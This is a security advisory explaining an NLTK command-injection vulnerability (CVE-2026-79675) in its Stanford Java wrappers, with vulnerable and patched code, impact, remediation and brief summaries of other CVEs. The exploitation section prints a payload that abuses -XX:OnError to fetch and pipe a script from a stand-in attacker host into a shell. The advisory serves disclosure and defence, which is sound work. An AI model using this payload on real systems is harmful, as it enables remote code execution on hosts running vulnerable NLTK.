Sep 1, 2026·6 min read·5 visits
An input validation bypass in NLTK's Stanford Java interface allows remote attackers to inject arbitrary JVM command-line options, such as -XX:OnError, to execute system commands and achieve unauthenticated remote code execution.
CVE-2026-79675 is a critical command injection vulnerability in NLTK versions prior to 3.10.3 that permits remote attackers to execute arbitrary code on the hosting system. This vulnerability stems from an incomplete mitigation of a previous vulnerability, CVE-2026-12841. While NLTK verified global JVM options configured through the library's setup routines, it failed to perform equivalent safety checks on options provided during per-call invocations of Stanford NLP Java wrappers. Attackers controlling these parameters can pass dangerous Java configuration options to the system shell, bypassing security boundaries to spawn interactive processes or load untrusted Java archives.
The Natural Language Toolkit (NLTK) is an open-source platform utilized for natural language processing tasks in Python environments. To perform complex linguistic processing operations such as tokenization, part-of-speech tagging, and syntactic parsing, NLTK integrates with external Java-based packages. Specifically, it provides several programmatic wrappers designed to interact with Stanford NLP Java packages.
These Stanford wrappers orchestrate execution by constructing command arrays that are executed as separate system subprocesses. To launch these subprocesses, the library references an execution helper function called java() within nltk/internals.py. This helper function accepts configuration parameters from calling classes, translates them into command-line arguments, and invokes Python's native subprocess.Popen implementation.
Because NLTK bridges python-based application inputs with external binary execution paths, the subprocess spawning mechanism exposes a critical attack surface. Specifically, the wrapper permits configurations that customize JVM memory and diagnostic behavior. If an application permits external actors to influence these setup parameters, malicious command-line arguments can be injected directly into the active subprocess call, leading to arbitrary host command execution (CWE-88).
A detailed security analysis of the NLTK execution model reveals two distinct defects that together yield the injection vulnerability. The first defect involves a complete bypass of the input validation pipeline when spawning Java subprocesses with per-call execution arguments.
To address a previous security flaw identified as CVE-2026-12841, NLTK developers introduced a validation routine called _validate_java_options(). This function was designed to scan arguments and reject unauthorized options. However, this screening mechanism was only called inside config_java(), which manages global configurations. The java() invocation routine in nltk/internals.py accepts a per-call options parameter to facilitate on-the-fly tuning. If a developer passed custom configuration variables directly into an instance of a Stanford wrapper class, NLTK converted the configuration string directly into command parameters and appended them to the execution list without invoking the validation routine.
The second defect lies within the design of the validation function itself. Even when _validate_java_options() was actively invoked, its configuration parameters were overly permissive. The function used an allowlist structured to permit any configuration flags prefixed with -XX: or -D to maintain compatibility with JVM tuning demands. Because these prefixes are processed directly by the JVM parser, permitting them allows attackers to leverage administrative diagnostic flags that execute operating system commands or alter classloader parameters.
Prior to the patch introduced in version 3.10.3, the java() helper function in nltk/internals.py handled the construction of command arguments using the following structure:
# Vulnerable code structure in nltk/internals.py
def java(cmd, classpath=None, stdin=None, stdout=None, stderr=None, blocking=True, options=None):
# ... configuration lookup ...
if options is None:
java_options = _java_options # Utilized global options already validated
else:
if isinstance(options, str):
options = options.split()
java_options = list(options) # Per-call options bypassed validation completely
# Command array assembly
cmd = [_java_bin] + java_options + cmd
# ... execution of subprocess ...In the configuration above, any elements supplied via options entered the command array directly. Combined with the insecure validation filter defined in the same file, the boundary was easily breached:
# Vulnerable validator filter configuration
_SAFE_JVM_PREFIXES = (
"-xmx", "-mx", "-xms", "-xss", "-xcomp", "-xmixed", "-verbose", "-xx:"
)To remediate this execution path, the developer patched the validation pipeline to intercept per-call configurations inside the java() routine, ensuring _validate_java_options is executed on all inputs. Additionally, they removed the permissive -xx: option from the safe prefix list and introduced an input validation guard to identify and reject shell metacharacters:
# Patched configuration in nltk/internals.py
_UNSAFE_OPTION_CHARS = frozenset(" \t\r\n;|&$`<>(){}[]*?!'\"\\")
def _validate_java_options(options):
for flag in options:
# Verify that the parameter matches the strict safe prefixes
# Advanced flags like -XX: and -D are no longer permitted in standard inputs
...
# Check for command delimiters and injection syntax
if any(c.isspace() or ord(c) < 0x20 or ord(c) == 0x7F or c in _UNSAFE_OPTION_CHARS for c in flag):
raise ValueError("java_options contains whitespace, control, or shell metacharacters")To exploit this vulnerability, an attacker must identify an application interface that forwards untrusted parameters into the options or java_options configuration of an NLTK Stanford wrapper class. Because NLTK is regularly integrated into processing pipelines handling external inputs, parsing APIs or translation services may bind these options to request parameters.
Once an injection vector is established, the attacker can leverage diagnostic arguments processed by the JVM. The most reliable vector for remote code execution involves the -XX:OnError parameter. This administrative flag specifies one or more operating system command strings for the JVM to run if it encounters a fatal error or termination signal.
-XX:OnError="curl http://attacker.com/payload | sh"
If the application executes the Stanford parser with this configuration, the argument is integrated into the java process command line. The attacker can then trigger process termination or induce an out-of-memory exception using complex or invalid linguistic inputs. When the JVM encounters the failure, it triggers the registered error command string, executing the attacker's payload inside the shell of the host environment.
The potential impact of CVE-2026-79675 is rated as Critical, carrying a CVSS v3.1 base score of 9.8. Because the underlying execution helper directly calls OS-level process utilities, exploitation yields command execution inside the security context of the parent application process.
If the application hosting NLTK is running with root or administrative privileges, the attacker gains absolute control over the underlying system. This allows the attacker to read local configuration files, access internal databases, deploy persistent malware, or initiate lateral movement within the hosting network infrastructure.
Even in configurations where the hosting process runs under low-privilege accounts, attackers can execute local files, extract internal dataset keys, or launch denial-of-service commands that exhaust storage and memory. Because the vulnerability requires zero user interaction and no authentication, it presents a substantial threat to internet-exposed microservices employing NLTK for analysis tasks.
The primary remediation strategy is the immediate upgrade of NLTK to version 3.10.3 or higher, which integrates the updated parameter processing functions. The revised code removes the insecure -XX: and -D prefixes from the default safe configuration options, effectively blocking diagnostic command injections.
To accommodate environments requiring advanced custom configurations, NLTK introduced a trusted_raw_options parameter. This parameter acts as an escape hatch, allowing applications to append advanced parameters without filtering. Developers must ensure that no untrusted input is passed to trusted_raw_options since this parameter is entirely exempted from the library's safety validation checks.
In scenarios where immediate upgrades are impossible, developers should implement input verification filters within their own software layer. Any user inputs routed near the Stanford NLP wrapper initialization paths must be sanitized against standard execution delimiters such as semicolons, backticks, and shell metacharacters.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
NLTK (Natural Language Toolkit) NLTK Project | < 3.10.3 | 3.10.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') |
| Attack Vector | Network |
| CVSS v3.1 Score | 9.8 (Critical) |
| EPSS Score | 0.00403 (Percentile: 33.49%) |
| Exploit Status | Proof-of-Concept |
| CISA KEV Status | No |
The application accepts user input and constructs a command line for execution of an external program without properly neutralizing delimiters (such as spaces, quotes, or dashes) that can be interpreted as arguments.
An authentication oracle vulnerability exists in Filament before 4.12.5 and 5.7.5. The application initiates MFA challenge workflows prior to verifying user authorization policies, allowing unauthenticated attackers to validate guessed credentials.
A multi-factor authentication bypass vulnerability exists in Filament (Laravel full-stack framework panels) due to improper time-step tracking of Time-Based One-Time Password (TOTP) codes. By submitting valid TOTP codes from an older time window within the drift allowance, an attacker with a user's password can bypass the single-use MFA guarantee and obtain unauthorized account access.
CVE-2026-19418 is a high-severity origin validation vulnerability in TYPO3 CMS that enables Cross-Site Request Forgery (CSRF) and access control bypasses. Due to architectural consolidation of entry points in version 13.0, the core ReferrerEnforcer fails to isolate backend endpoints from the frontend, allowing an attacker with frontend script execution capabilities to perform unauthorized administrative actions.
CVE-2026-84304 is a high-severity uncontrolled resource consumption vulnerability in gRPC-Go, the Go implementation of the gRPC framework. The issue stems from a memory amplification flaw inside the HTTP/2 DATA frame processing subsystem. Remote, unauthenticated attackers can exploit this vulnerability by sending a high volume of heavily fragmented, tiny DATA frames within multiplexed concurrent streams. This causes gRPC-Go servers to allocate excessive internal metadata structures on the Go heap, leading to severe heap memory amplification, intense garbage collection thrashing, and process termination due to Out-of-Memory (OOM) conditions.
A vulnerability in Django REST Framework (DRF) before version 3.17.2 allows remote attackers to bypass the native Django DATA_UPLOAD_MAX_MEMORY_SIZE limits. When parsing JSON or URL-encoded request bodies, DRF's JSONParser and FormParser read directly from the low-level HTTP network stream, bypassing Django's high-level request size checks and causing Denial of Service (DoS) via resource exhaustion.
A directory traversal vulnerability exists in pacquet, the Rust port of pnpm. When executing an install with the --trust-lockfile flag enabled, a crafted pnpm-lock.yaml file bypasses resolution-policy verification. This allows an attacker to inject path traversal sequences into package names or versions, leading to symbolic links being written outside the workspace directory.